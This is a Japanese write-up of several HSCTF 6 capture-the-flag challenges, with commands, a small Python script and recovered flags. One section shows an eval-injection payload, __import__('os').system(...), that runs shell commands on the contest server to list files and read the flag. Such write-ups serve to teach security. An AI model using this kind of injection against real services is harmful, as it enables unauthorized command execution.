HSCTF 6 Write-up

はじめに

2019/06/03 ~ 2019/06/07に開催されたHSCTF 6に個人で参加しました．

成績

132位(1135チーム中)でした．

Binary Exploitation

Intro to Netcat [51pts, 778solves]

you can run nc misc.hsctf.com 1111 to get your first flag.

アプローチ：nc

>  nc misc.hsctf.com 1111
Hey, here's your flag! hsctf{internet_cats}

hsctf{internet_cats}

Misc

Verbose [116pts, 479solves]

My friend sent me this file, but I don't understand what I can do with these 6 different characters...

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アプローチ：JavaScript記号プログラミング

JavaScriptのアレなのでオンライン環境でサクッと実行して結果だけ見ます．

www.tutorialspoint.com

var flag = "hsctf{esoteric_javascript_is_very_verbose}"; window.location = "https://hsctf.com";

hsctf{esoteric_javascript_is_very_verbose}

Locked Up [131pts, 414solves]

My friend gave me a zip file with the flag in it, but the zip file is encrypted. Can you help me open the zip file?

> file locked.zip
locked.zip: Zip archive data, at least v1.0 to extract

アプローチ：strings

ダウンロードしたzipファイルをunzipしようとしますが，password付きのため上手くunzipできません．

> unzip locked.zip
Archive:  locked.zip
[locked.zip] !lBo;!71}c'&!?m$NAtfBLH password:
   skipping: !lBo;!71}c'&!?m$NAtfBLH  incorrect password
   skipping: !l^-W~zN>?}i*{jRYG:=X=b:5Hdp7U  incorrect password
   skipping: !m9*t0r9Rf%V"           incorrect password
   skipping: !_bubre6A{|TB:Q`#X1Vu#Zm<V  incorrect password
   skipping: !~fz'OO!FiRsH3fybOR1!B  incorrect password
   skipping: #FQX|xVy',6M            incorrect password
   skipping: #hB-3|+dEonR'M9$I97h8   incorrect password
   skipping: #JPi!nEfk~E<Q+Y#kG|2Py&&1I|  incorrect password
   skipping: #KYKFzAvoY%jM3D6Q{1gV!  incorrect password
[snip]

しかし，unzipを行う際にzip化されているファイル名/フォルダ名は表示されます．
この中にflagがありました．

> strings locked.zip | grep ctf
hsctf{w0w_z1ps_ar3nt_th@t_secUr3}UT
hsctf{w0w_z1ps_ar3nt_th@t_secUr3}UT

hsctf{w0w_z1ps_ar3nt_th@t_secUr3}

Admin Pass [142pts, 378solves]

Hey guys, found a super cool website at http://misc.hsctf.com:8001!

アプローチ：commitログ

パスワードを入力しろと書かれていますがノーヒントでは何も分からないのでGitLabに飛びます．
historyからcommitログを確認していくと生のパスワードが含まれたcommitを確認することができます．

gitlab.com

hsctf{i_love_richard_stallman_hes_so_cute_8a65926fcdcdac0b}

A Simple Conversation [147pts, 343solves]

Someone on the internet wants to talk to you. Can you find out what they want?

nc misc.hsctf.com 9001

#!/usr/bin/env python3
from time import sleep

print("Hello!")

sleep(1)

print("Hey, can you help me out real quick.")

sleep(1)

print("I need to know your age.")

sleep(1)

print("What's your age?")

age = input("> ")

sleep(1)

print("Wow!")

sleep(1)

print("Sometimes I wish I was %s" % age)

sleep(1)

print("Well, it was nice meeting you, %s-year-old." % age)

sleep(1)

print("Goodbye!")

アプローチ：__import__("os")

> nc misc.hsctf.com 9001
Hello!
Hey, can you help me out real quick.
I need to know your age.
What's your age?
> 1127
Wow!
Sometimes I wish I was 1127
Well, it was nice meeting you, 1127-year-old.
Goodbye!

> nc misc.hsctf.com 9001
Hello!
Hey, can you help me out real quick.
I need to know your age.
What's your age?
> hoge
Traceback (most recent call last):
  File "talk.py", line 18, in <module>
    age = input("> ")
  File "<string>", line 1, in <module>
NameError: name 'hoge' is not defined

> nc misc.hsctf.com 9001
Hello!
Hey, can you help me out real quick.
I need to know your age.
What's your age?
> dir()
Wow!
Sometimes I wish I was ['__builtins__', '__doc__', '__file__', '__name__', '__package__', 'sleep']
Well, it was nice meeting you, ['__builtins__', '__doc__', '__file__', '__name__', '__package__', 'sleep']-year-old.
Goodbye!

以上の挙動からinputがeval(raw_input)と同等である(Python2で実行されてる)ことが分かります．
そのため，あとはOSモジュールをインポートしてflagを表示すれば終わりです．

> nc misc.hsctf.com 9001
Hello!
Hey, can you help me out real quick.
I need to know your age.
What's your age?
> __import__("os").system("ls")
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
talk.py
tmp
usr
var
Wow!
Sometimes I wish I was 0
Well, it was nice meeting you, 0-year-old.
Goodbye!

> nc misc.hsctf.com 9001
Hello!
Hey, can you help me out real quick.
I need to know your age.
What's your age?
> __import__("os").system("cat flag.txt")
hsctf{plz_u5e_pyth0n_3}
Wow!
Sometimes I wish I was 0
Well, it was nice meeting you, 0-year-old.
Goodbye!

hsctf{plz_u5e_pyth0n_3}

The Real Resal [264pts, 184solves]

My friend gave me some fancy text, but it was reversed, and so I tried to reverse it but I think I messed it up further. Can you find out what the text says?

reversed.txt

> file reversed.txt
reversed.txt: Non-ISO extended-ASCII text, with very long lines

���𘚝𠚝� ���𑚝𒚝𜚝� ���𜚝� ���𘚝𘚝𕚝�. ���𕚝𕚝� �������� ���𢚝� �������𡚝𝚝� ���𜚝� �����������𔚝𠚝����𛚝����𜚝�. ���𑚝𒚝𜚝� ���𜚝� �������𝚝𞚝����𕚝𕚝𢚝� ���𘚝� ���𘚝𘚝𕚝�. ���𘚝𛚝����𖚝� ���𙚝𜚝𞚝𖚝� ���𘚝𕚝𘚝𛚝� ���𒚝𝚝� ���𖚝����𝚝�, ���𘚝𗚝𜚝��������𝚝����𝚝𞚝𛚝� �������𒚝𙚝𒚝𜚝����𒚝𗚝𐚝� ���𕚝𒚝𝚝�, ������������ ���𘚝� ���𒚝𞚝𜚝𖚝𘚝����� �������𖚝𙚝𘚝𛚝� ���𗚝����𒚝����𒚝����𞚝𗚝𝚝� ���𝚝� �����������𘚝𛚝����� ���𝚝� ���𘚝𕚝𘚝𛚝����� �������𐚝𗚝����� ���𕚝𒚝𚚝𞚝�����. ���𝚝� ���𗚝𒚝𖚝� �������� ���𒚝𗚝𒚝𖚝� �������𗚝𒚝����𖚝�, ���𞚝𒚝𜚝� ���𘚝𜚝𝚝𛚝𞚝����� ���𡚝����𛚝����𒚝𝚝����𝚝𒚝𘚝𗚝� ���𕚝𕚝����𖚝����𘚝� �����������𘚝𛚝𒚝𜚝� ���𒚝𜚝𒚝� ���𝚝� ���𕚝𒚝𚚝𞚝𒚝𙚝� ���𡚝� �������� ���𘚝𖚝𖚝𘚝����𘚝� ���𘚝𗚝𜚝����𚚝𞚝����𝚝�. ���𞚝𒚝𜚝� ���𞚝𝚝����� ���𛚝𞚝𛚝����� ���𘚝𕚝𘚝𛚝� ���𗚝� �������𙚝𛚝����𑚝����𗚝��������𛚝𒚝𝚝� ���𗚝� ���𘚝𕚝𞚝𙚝𝚝����𝚝����� �������𕚝𒚝𝚝� ���𜚝𜚝����� ���𒚝𕚝𕚝𞚝𖚝� ���𘚝𕚝𘚝𛚝����� ���𞚝� ���𞚝𐚝𒚝����𝚝� ���𞚝𕚝𕚝����� �������𛚝𒚝����𝚝𞚝𛚝�. ���𡚝��������𙚝𝚝����𞚝𛚝� ���𒚝𗚝𝚝� ���������������������������𝚝� ���𞚝𙚝𒚝��������𝚝����𝚝� ���𘚝𗚝� ���𛚝𘚝𒚝��������𗚝𝚝�, ���𞚝𗚝𝚝� ���𗚝� ���𞚝𕚝𙚝����� ���𞚝𒚝� �����������𒚝����𒚝����� �������𜚝����𛚝𞚝𗚝𝚝� ���𘚝𕚝𕚝𒚝𝚝� ���𗚝𒚝𖚝� �������� ���𜚝𝚝� �����������𘚝𛚝𞚝𖚝�. ���𑚝����� ���𕚝����𐚝� ���𜚝� ���𜚝����𝚝�����{���𝚝����𾟝�_���𘚝𛚝�_���𑚝�����_���𒚝𗚝�}, ���𜚝𒚝𗚝𐚝� �������𐚝𞚝𕚝����𛚝� ���𜚝����𒚝𒚝� �������𝚝𝚝����𛚝𜚝�. ���𘚝𛚝����𖚝� ���𙚝𜚝𞚝𖚝� ���𘚝𕚝𘚝𛚝� ���𒚝𝚝� ���𖚝����𝚝�, ���𘚝𗚝𜚝��������𝚝����𝚝𞚝𛚝� �������𒚝𙚝𒚝𜚝����𒚝𗚝𐚝� ���𕚝𒚝𝚝�, ������������ ���𘚝� ���𒚝𞚝𜚝𖚝𘚝����� �������𖚝𙚝𘚝𛚝� ���𗚝����𒚝����𒚝����𞚝𗚝𝚝� ���𝚝� �����������𘚝𛚝����� ���𝚝� ���𘚝𕚝𘚝𛚝����� �������𐚝𗚝����� ���𕚝𒚝𚚝𞚝�����. ���𝚝� ���𗚝𒚝𖚝� �������� ���𒚝𗚝𒚝𖚝� �������𗚝𒚝����𖚝�, ���𞚝𒚝𜚝� ���𘚝𜚝𝚝𛚝𞚝����� ���𡚝����𛚝����𒚝𝚝����𝚝𒚝𘚝𗚝� ���𕚝𕚝����𖚝����𘚝� �����������𘚝𛚝𒚝𜚝� ���𒚝𜚝𒚝� ���𝚝� ���𕚝𒚝𚚝𞚝𒚝𙚝� ���𡚝� �������� ���𘚝𖚝𖚝𘚝����𘚝� ���𘚝𗚝𜚝����𚚝𞚝����𝚝�. ���𞚝𒚝𜚝� ���𞚝𝚝����� ���𛚝𞚝𛚝����� ���𘚝𕚝𘚝𛚝� ���𗚝� �������𙚝𛚝����𑚝����𗚝��������𛚝𒚝𝚝� ���𗚝� ���𘚝𕚝𞚝𙚝𝚝����𝚝����� �������𕚝𒚝𝚝� ���𜚝𜚝����� ���𒚝𕚝𕚝𞚝𖚝� ���𘚝𕚝𘚝𛚝����� ���𞚝� ���𞚝𐚝𒚝����𝚝� ���𞚝𕚝𕚝����� �������𛚝𒚝����𝚝𞚝𛚝�. ���𡚝��������𙚝𝚝����𞚝𛚝� ���𒚝𗚝𝚝� ���������������������������𝚝� ���𞚝𙚝𒚝��������𝚝����𝚝� ���𘚝𗚝� ���𛚝𘚝𒚝��������𗚝𝚝�, ���𞚝𗚝𝚝� ���𗚝� ���𞚝𕚝𙚝����� ���𞚝𒚝� �����������𒚝����𒚝����� �������𜚝����𛚝𞚝𗚝𝚝� ���𘚝𕚝𕚝𒚝𝚝� ���𗚝𒚝𖚝� �������� ���𜚝𝚝� �����������𘚝𛚝𞚝𖚝�. ���𘚝𛚝����𖚝� ���𙚝𜚝𞚝𖚝� ���𘚝𕚝𘚝𛚝� ���𒚝𝚝� ���𖚝����𝚝�, ���𘚝𗚝𜚝��������𝚝����𝚝𞚝𛚝� �������𒚝𙚝𒚝𜚝����𒚝𗚝𐚝� ���𕚝𒚝𝚝�, ������������ ���𘚝� ���𒚝𞚝𜚝𖚝𘚝����� �������𖚝𙚝𘚝𛚝� ���𗚝����𒚝����𒚝����𞚝𗚝𝚝� ���𝚝� �����������𘚝𛚝����� ���𝚝� ���𘚝𕚝𘚝𛚝����� �������𐚝𗚝����� ���𕚝𒚝𚚝𞚝�����. ���𝚝� ���𗚝𒚝𖚝� �������� ���𒚝𗚝𒚝𖚝� �������𗚝𒚝����𖚝�, ���𞚝𒚝𜚝� ���𘚝𜚝𝚝𛚝𞚝����� ���𡚝����𛚝����𒚝𝚝����𝚝𒚝𘚝𗚝� ���𕚝𕚝����𖚝����𘚝� �����������𘚝𛚝𒚝𜚝� ���𒚝𜚝𒚝� ���𝚝� ���𕚝𒚝𚚝𞚝𒚝𙚝� ���𡚝� �������� ���𘚝𖚝𖚝𘚝����𘚝� ���𘚝𗚝𜚝����𚚝𞚝����𝚝�. ���𞚝𒚝𜚝� ���𞚝𝚝����� ���𛚝𞚝𛚝����� ���𘚝𕚝𘚝𛚝� ���𗚝� �������𙚝𛚝����𑚝����𗚝��������𛚝𒚝𝚝� ���𗚝� ���𘚝𕚝𞚝𙚝𝚝����𝚝����� �������𕚝𒚝𝚝� ���𜚝𜚝����� ���𒚝𕚝𕚝𞚝𖚝� ���𘚝𕚝𘚝𛚝����� ���𞚝� ���𞚝𐚝𒚝����𝚝� ���𞚝𕚝𕚝����� �������𛚝𒚝����𝚝𞚝𛚝�. ���𡚝��������𙚝𝚝����𞚝𛚝� ���𒚝𗚝𝚝� ���������������������������𝚝� ���𞚝𙚝𒚝��������𝚝����𝚝� ���𘚝𗚝� ���𛚝𘚝𒚝��������𗚝𝚝�, ���𞚝𗚝𝚝� ���𗚝� ���𞚝𕚝𙚝����� ���𞚝𒚝� �����������𒚝����𒚝����� �������𜚝����𛚝𞚝𗚝𝚝� ���𘚝𕚝𕚝𒚝𝚝� ���𗚝𒚝𖚝� �������� ���𜚝𝚝� �����������𘚝𛚝𞚝𖚝�.

アプローチ：逆順で並び替える

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

with open('./reversed.txt', 'rb') as f:
    byte_data = f.readline().strip()

with open('data.txt', 'wb') as f:
    f.write(byte_data[::-1])

with open('data.txt', 'r') as f:
    msg = f.readline()

with open('message.txt', 'w') as f:
    f.write(msg[::-1])

.𝚖𝚞𝚛𝚘𝚋𝚊𝚕 𝚝𝚜𝚎 𝚍𝚒 𝚖𝚒𝚗𝚊 𝚝𝚒𝚕𝚕𝚘𝚖 𝚝𝚗𝚞𝚛𝚎𝚜𝚎𝚍 𝚊𝚒𝚌𝚒𝚏𝚏𝚘 𝚒𝚞𝚚 𝚊𝚙𝚕𝚞𝚌 𝚗𝚒 𝚝𝚗𝚞𝚜 ,𝚝𝚗𝚎𝚍𝚒𝚘𝚛𝚙 𝚗𝚘𝚗 𝚝𝚊𝚝𝚊𝚍𝚒𝚙𝚞𝚌 𝚝𝚊𝚌𝚎𝚊𝚌𝚌𝚘 𝚝𝚗𝚒𝚜 𝚛𝚞𝚎𝚝𝚙𝚎𝚌𝚡𝙴 .𝚛𝚞𝚝𝚊𝚒𝚛𝚊𝚙 𝚊𝚕𝚕𝚞𝚗 𝚝𝚊𝚒𝚐𝚞𝚏 𝚞𝚎 𝚎𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚕𝚕𝚒𝚌 𝚎𝚜𝚜𝚎 𝚝𝚒𝚕𝚎𝚟 𝚎𝚝𝚊𝚝𝚙𝚞𝚕𝚘𝚟 𝚗𝚒 𝚝𝚒𝚛𝚎𝚍𝚗𝚎𝚑𝚎𝚛𝚙𝚎𝚛 𝚗𝚒 𝚛𝚘𝚕𝚘𝚍 𝚎𝚛𝚞𝚛𝚒 𝚎𝚝𝚞𝚊 𝚜𝚒𝚞𝙳 .𝚝𝚊𝚞𝚚𝚎𝚜𝚗𝚘𝚌 𝚘𝚍𝚘𝚖𝚖𝚘𝚌 𝚊𝚎 𝚡𝚎 𝚙𝚒𝚞𝚚𝚒𝚕𝚊 𝚝𝚞 𝚒𝚜𝚒𝚗 𝚜𝚒𝚛𝚘𝚋𝚊𝚕 𝚘𝚌𝚖𝚊𝚕𝚕𝚞 𝚗𝚘𝚒𝚝𝚊𝚝𝚒𝚌𝚛𝚎𝚡𝚎 𝚍𝚞𝚛𝚝𝚜𝚘𝚗 𝚜𝚒𝚞𝚚 ,𝚖𝚊𝚒𝚗𝚎𝚟 𝚖𝚒𝚗𝚒𝚖 𝚍𝚊 𝚖𝚒𝚗𝚎 𝚝𝚄 .𝚊𝚞𝚚𝚒𝚕𝚊 𝚊𝚗𝚐𝚊𝚖 𝚎𝚛𝚘𝚕𝚘𝚍 𝚝𝚎 𝚎𝚛𝚘𝚋𝚊𝚕 𝚝𝚞 𝚝𝚗𝚞𝚍𝚒𝚍𝚒𝚌𝚗𝚒 𝚛𝚘𝚙𝚖𝚎𝚝 𝚍𝚘𝚖𝚜𝚞𝚒𝚎 𝚘𝚍 𝚍𝚎𝚜 ,𝚝𝚒𝚕𝚎 𝚐𝚗𝚒𝚌𝚜𝚒𝚙𝚒𝚍𝚊 𝚛𝚞𝚝𝚎𝚝𝚌𝚎𝚜𝚗𝚘𝚌 ,𝚝𝚎𝚖𝚊 𝚝𝚒𝚜 𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚜𝚙𝚒 𝚖𝚎𝚛𝚘𝙻 .𝚖𝚞𝚛𝚘𝚋𝚊𝚕 𝚝𝚜𝚎 𝚍𝚒 𝚖𝚒𝚗𝚊 𝚝𝚒𝚕𝚕𝚘𝚖 𝚝𝚗𝚞𝚛𝚎𝚜𝚎𝚍 𝚊𝚒𝚌𝚒𝚏𝚏𝚘 𝚒𝚞𝚚 𝚊𝚙𝚕𝚞𝚌 𝚗𝚒 𝚝𝚗𝚞𝚜 ,𝚝𝚗𝚎𝚍𝚒𝚘𝚛𝚙 𝚗𝚘𝚗 𝚝𝚊𝚝𝚊𝚍𝚒𝚙𝚞𝚌 𝚝𝚊𝚌𝚎𝚊𝚌𝚌𝚘 𝚝𝚗𝚒𝚜 𝚛𝚞𝚎𝚝𝚙𝚎𝚌𝚡𝙴 .𝚛𝚞𝚝𝚊𝚒𝚛𝚊𝚙 𝚊𝚕𝚕𝚞𝚗 𝚝𝚊𝚒𝚐𝚞𝚏 𝚞𝚎 𝚎𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚕𝚕𝚒𝚌 𝚎𝚜𝚜𝚎 𝚝𝚒𝚕𝚎𝚟 𝚎𝚝𝚊𝚝𝚙𝚞𝚕𝚘𝚟 𝚗𝚒 𝚝𝚒𝚛𝚎𝚍𝚗𝚎𝚑𝚎𝚛𝚙𝚎𝚛 𝚗𝚒 𝚛𝚘𝚕𝚘𝚍 𝚎𝚛𝚞𝚛𝚒 𝚎𝚝𝚞𝚊 𝚜𝚒𝚞𝙳 .𝚝𝚊𝚞𝚚𝚎𝚜𝚗𝚘𝚌 𝚘𝚍𝚘𝚖𝚖𝚘𝚌 𝚊𝚎 𝚡𝚎 𝚙𝚒𝚞𝚚𝚒𝚕𝚊 𝚝𝚞 𝚒𝚜𝚒𝚗 𝚜𝚒𝚛𝚘𝚋𝚊𝚕 𝚘𝚌𝚖𝚊𝚕𝚕𝚞 𝚗𝚘𝚒𝚝𝚊𝚝𝚒𝚌𝚛𝚎𝚡𝚎 𝚍𝚞𝚛𝚝𝚜𝚘𝚗 𝚜𝚒𝚞𝚚 ,𝚖𝚊𝚒𝚗𝚎𝚟 𝚖𝚒𝚗𝚒𝚖 𝚍𝚊 𝚖𝚒𝚗𝚎 𝚝𝚄 .𝚊𝚞𝚚𝚒𝚕𝚊 𝚊𝚗𝚐𝚊𝚖 𝚎𝚛𝚘𝚕𝚘𝚍 𝚝𝚎 𝚎𝚛𝚘𝚋𝚊𝚕 𝚝𝚞 𝚝𝚗𝚞𝚍𝚒𝚍𝚒𝚌𝚗𝚒 𝚛𝚘𝚙𝚖𝚎𝚝 𝚍𝚘𝚖𝚜𝚞𝚒𝚎 𝚘𝚍 𝚍𝚎𝚜 ,𝚝𝚒𝚕𝚎 𝚐𝚗𝚒𝚌𝚜𝚒𝚙𝚒𝚍𝚊 𝚛𝚞𝚝𝚎𝚝𝚌𝚎𝚜𝚗𝚘𝚌 ,𝚝𝚎𝚖𝚊 𝚝𝚒𝚜 𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚜𝚙𝚒 𝚖𝚎𝚛𝚘𝙻 .𝚜𝚛𝚎𝚝𝚝𝚎𝚕 𝚒𝚒𝚌𝚜𝚊 𝚛𝚊𝚕𝚞𝚐𝚎𝚛 𝚐𝚗𝚒𝚜𝚞 ,}𝚗𝚒𝚠_𝚎𝚑𝚝_𝚛𝚘𝚏_𝟾𝚏𝚝𝚞{𝚏𝚝𝚌𝚜𝚑 𝚜𝚒 𝚐𝚊𝚕𝚏 𝚎𝚑𝚃 .𝚖𝚞𝚛𝚘𝚋𝚊𝚕 𝚝𝚜𝚎 𝚍𝚒 𝚖𝚒𝚗𝚊 𝚝𝚒𝚕𝚕𝚘𝚖 𝚝𝚗𝚞𝚛𝚎𝚜𝚎𝚍 𝚊𝚒𝚌𝚒𝚏𝚏𝚘 𝚒𝚞𝚚 𝚊𝚙𝚕𝚞𝚌 𝚗𝚒 𝚝𝚗𝚞𝚜 ,𝚝𝚗𝚎𝚍𝚒𝚘𝚛𝚙 𝚗𝚘𝚗 𝚝𝚊𝚝𝚊𝚍𝚒𝚙𝚞𝚌 𝚝𝚊𝚌𝚎𝚊𝚌𝚌𝚘 𝚝𝚗𝚒𝚜 𝚛𝚞𝚎𝚝𝚙𝚎𝚌𝚡𝙴 .𝚛𝚞𝚝𝚊𝚒𝚛𝚊𝚙 𝚊𝚕𝚕𝚞𝚗 𝚝𝚊𝚒𝚐𝚞𝚏 𝚞𝚎 𝚎𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚕𝚕𝚒𝚌 𝚎𝚜𝚜𝚎 𝚝𝚒𝚕𝚎𝚟 𝚎𝚝𝚊𝚝𝚙𝚞𝚕𝚘𝚟 𝚗𝚒 𝚝𝚒𝚛𝚎𝚍𝚗𝚎𝚑𝚎𝚛𝚙𝚎𝚛 𝚗𝚒 𝚛𝚘𝚕𝚘𝚍 𝚎𝚛𝚞𝚛𝚒 𝚎𝚝𝚞𝚊 𝚜𝚒𝚞𝙳 .𝚝𝚊𝚞𝚚𝚎𝚜𝚗𝚘𝚌 𝚘𝚍𝚘𝚖𝚖𝚘𝚌 𝚊𝚎 𝚡𝚎 𝚙𝚒𝚞𝚚𝚒𝚕𝚊 𝚝𝚞 𝚒𝚜𝚒𝚗 𝚜𝚒𝚛𝚘𝚋𝚊𝚕 𝚘𝚌𝚖𝚊𝚕𝚕𝚞 𝚗𝚘𝚒𝚝𝚊𝚝𝚒𝚌𝚛𝚎𝚡𝚎 𝚍𝚞𝚛𝚝𝚜𝚘𝚗 𝚜𝚒𝚞𝚚 ,𝚖𝚊𝚒𝚗𝚎𝚟 𝚖𝚒𝚗𝚒𝚖 𝚍𝚊 𝚖𝚒𝚗𝚎 𝚝𝚄 .𝚊𝚞𝚚𝚒𝚕𝚊 𝚊𝚗𝚐𝚊𝚖 𝚎𝚛𝚘𝚕𝚘𝚍 𝚝𝚎 𝚎𝚛𝚘𝚋𝚊𝚕 𝚝𝚞 𝚝𝚗𝚞𝚍𝚒𝚍𝚒𝚌𝚗𝚒 𝚛𝚘𝚙𝚖𝚎𝚝 𝚍𝚘𝚖𝚜𝚞𝚒𝚎 𝚘𝚍 𝚍𝚎𝚜 ,𝚝𝚒𝚕𝚎 𝚐𝚗𝚒𝚌𝚜𝚒𝚙𝚒𝚍𝚊 𝚛𝚞𝚝𝚎𝚝𝚌𝚎𝚜𝚗𝚘𝚌 ,𝚝𝚎𝚖𝚊 𝚝𝚒𝚜 𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚜𝚙𝚒 𝚖𝚎𝚛𝚘𝙻 .𝚕𝚘𝚘𝚌 𝚘𝚜 𝚢𝚕𝚕𝚊𝚞𝚝𝚌𝚊 𝚜𝚒 𝚜𝚒𝚑𝚃 .𝚜𝚍𝚛𝚊𝚠𝚔𝚌𝚊𝚋 𝚜𝚒 𝚝𝚡𝚎𝚝 𝚢𝚖 𝚏𝚘 𝚕𝚕𝙰 .𝚕𝚘𝚘𝚌 𝚜𝚒 𝚜𝚒𝚑𝚝 𝚠𝚘𝚆

𝚆𝚘𝚠 𝚝𝚑𝚒𝚜 𝚒𝚜 𝚌𝚘𝚘𝚕. 𝙰𝚕𝚕 𝚘𝚏 𝚖𝚢 𝚝𝚎𝚡𝚝 𝚒𝚜 𝚋𝚊𝚌𝚔𝚠𝚊𝚛𝚍𝚜. 𝚃𝚑𝚒𝚜 𝚒𝚜 𝚊𝚌𝚝𝚞𝚊𝚕𝚕𝚢 𝚜𝚘 𝚌𝚘𝚘𝚕. 𝙻𝚘𝚛𝚎𝚖 𝚒𝚙𝚜𝚞𝚖 𝚍𝚘𝚕𝚘𝚛 𝚜𝚒𝚝 𝚊𝚖𝚎𝚝, 𝚌𝚘𝚗𝚜𝚎𝚌𝚝𝚎𝚝𝚞𝚛 𝚊𝚍𝚒𝚙𝚒𝚜𝚌𝚒𝚗𝚐 𝚎𝚕𝚒𝚝, 𝚜𝚎𝚍 𝚍𝚘 𝚎𝚒𝚞𝚜𝚖𝚘𝚍 𝚝𝚎𝚖𝚙𝚘𝚛 𝚒𝚗𝚌𝚒𝚍𝚒𝚍𝚞𝚗𝚝 𝚞𝚝 𝚕𝚊𝚋𝚘𝚛𝚎 𝚎𝚝 𝚍𝚘𝚕𝚘𝚛𝚎 𝚖𝚊𝚐𝚗𝚊 𝚊𝚕𝚒𝚚𝚞𝚊. 𝚄𝚝 𝚎𝚗𝚒𝚖 𝚊𝚍 𝚖𝚒𝚗𝚒𝚖 𝚟𝚎𝚗𝚒𝚊𝚖, 𝚚𝚞𝚒𝚜 𝚗𝚘𝚜𝚝𝚛𝚞𝚍 𝚎𝚡𝚎𝚛𝚌𝚒𝚝𝚊𝚝𝚒𝚘𝚗 𝚞𝚕𝚕𝚊𝚖𝚌𝚘 𝚕𝚊𝚋𝚘𝚛𝚒𝚜 𝚗𝚒𝚜𝚒 𝚞𝚝 𝚊𝚕𝚒𝚚𝚞𝚒𝚙 𝚎𝚡 𝚎𝚊 𝚌𝚘𝚖𝚖𝚘𝚍𝚘 𝚌𝚘𝚗𝚜𝚎𝚚𝚞𝚊𝚝. 𝙳𝚞𝚒𝚜 𝚊𝚞𝚝𝚎 𝚒𝚛𝚞𝚛𝚎 𝚍𝚘𝚕𝚘𝚛 𝚒𝚗 𝚛𝚎𝚙𝚛𝚎𝚑𝚎𝚗𝚍𝚎𝚛𝚒𝚝 𝚒𝚗 𝚟𝚘𝚕𝚞𝚙𝚝𝚊𝚝𝚎 𝚟𝚎𝚕𝚒𝚝 𝚎𝚜𝚜𝚎 𝚌𝚒𝚕𝚕𝚞𝚖 𝚍𝚘𝚕𝚘𝚛𝚎 𝚎𝚞 𝚏𝚞𝚐𝚒𝚊𝚝 𝚗𝚞𝚕𝚕𝚊 𝚙𝚊𝚛𝚒𝚊𝚝𝚞𝚛. 𝙴𝚡𝚌𝚎𝚙𝚝𝚎𝚞𝚛 𝚜𝚒𝚗𝚝 𝚘𝚌𝚌𝚊𝚎𝚌𝚊𝚝 𝚌𝚞𝚙𝚒𝚍𝚊𝚝𝚊𝚝 𝚗𝚘𝚗 𝚙𝚛𝚘𝚒𝚍𝚎𝚗𝚝, 𝚜𝚞𝚗𝚝 𝚒𝚗 𝚌𝚞𝚕𝚙𝚊 𝚚𝚞𝚒 𝚘𝚏𝚏𝚒𝚌𝚒𝚊 𝚍𝚎𝚜𝚎𝚛𝚞𝚗𝚝 𝚖𝚘𝚕𝚕𝚒𝚝 𝚊𝚗𝚒𝚖 𝚒𝚍 𝚎𝚜𝚝 𝚕𝚊𝚋𝚘𝚛𝚞𝚖. 𝚃𝚑𝚎 𝚏𝚕𝚊𝚐 𝚒𝚜 𝚑𝚜𝚌𝚝𝚏{𝚞𝚝𝚏𝟾_𝚏𝚘𝚛_𝚝𝚑𝚎_𝚠𝚒𝚗}, 𝚞𝚜𝚒𝚗𝚐 𝚛𝚎𝚐𝚞𝚕𝚊𝚛 𝚊𝚜𝚌𝚒𝚒 𝚕𝚎𝚝𝚝𝚎𝚛𝚜. 𝙻𝚘𝚛𝚎𝚖 𝚒𝚙𝚜𝚞𝚖 𝚍𝚘𝚕𝚘𝚛 𝚜𝚒𝚝 𝚊𝚖𝚎𝚝, 𝚌𝚘𝚗𝚜𝚎𝚌𝚝𝚎𝚝𝚞𝚛 𝚊𝚍𝚒𝚙𝚒𝚜𝚌𝚒𝚗𝚐 𝚎𝚕𝚒𝚝, 𝚜𝚎𝚍 𝚍𝚘 𝚎𝚒𝚞𝚜𝚖𝚘𝚍 𝚝𝚎𝚖𝚙𝚘𝚛 𝚒𝚗𝚌𝚒𝚍𝚒𝚍𝚞𝚗𝚝 𝚞𝚝 𝚕𝚊𝚋𝚘𝚛𝚎 𝚎𝚝 𝚍𝚘𝚕𝚘𝚛𝚎 𝚖𝚊𝚐𝚗𝚊 𝚊𝚕𝚒𝚚𝚞𝚊. 𝚄𝚝 𝚎𝚗𝚒𝚖 𝚊𝚍 𝚖𝚒𝚗𝚒𝚖 𝚟𝚎𝚗𝚒𝚊𝚖, 𝚚𝚞𝚒𝚜 𝚗𝚘𝚜𝚝𝚛𝚞𝚍 𝚎𝚡𝚎𝚛𝚌𝚒𝚝𝚊𝚝𝚒𝚘𝚗 𝚞𝚕𝚕𝚊𝚖𝚌𝚘 𝚕𝚊𝚋𝚘𝚛𝚒𝚜 𝚗𝚒𝚜𝚒 𝚞𝚝 𝚊𝚕𝚒𝚚𝚞𝚒𝚙 𝚎𝚡 𝚎𝚊 𝚌𝚘𝚖𝚖𝚘𝚍𝚘 𝚌𝚘𝚗𝚜𝚎𝚚𝚞𝚊𝚝. 𝙳𝚞𝚒𝚜 𝚊𝚞𝚝𝚎 𝚒𝚛𝚞𝚛𝚎 𝚍𝚘𝚕𝚘𝚛 𝚒𝚗 𝚛𝚎𝚙𝚛𝚎𝚑𝚎𝚗𝚍𝚎𝚛𝚒𝚝 𝚒𝚗 𝚟𝚘𝚕𝚞𝚙𝚝𝚊𝚝𝚎 𝚟𝚎𝚕𝚒𝚝 𝚎𝚜𝚜𝚎 𝚌𝚒𝚕𝚕𝚞𝚖 𝚍𝚘𝚕𝚘𝚛𝚎 𝚎𝚞 𝚏𝚞𝚐𝚒𝚊𝚝 𝚗𝚞𝚕𝚕𝚊 𝚙𝚊𝚛𝚒𝚊𝚝𝚞𝚛. 𝙴𝚡𝚌𝚎𝚙𝚝𝚎𝚞𝚛 𝚜𝚒𝚗𝚝 𝚘𝚌𝚌𝚊𝚎𝚌𝚊𝚝 𝚌𝚞𝚙𝚒𝚍𝚊𝚝𝚊𝚝 𝚗𝚘𝚗 𝚙𝚛𝚘𝚒𝚍𝚎𝚗𝚝, 𝚜𝚞𝚗𝚝 𝚒𝚗 𝚌𝚞𝚕𝚙𝚊 𝚚𝚞𝚒 𝚘𝚏𝚏𝚒𝚌𝚒𝚊 𝚍𝚎𝚜𝚎𝚛𝚞𝚗𝚝 𝚖𝚘𝚕𝚕𝚒𝚝 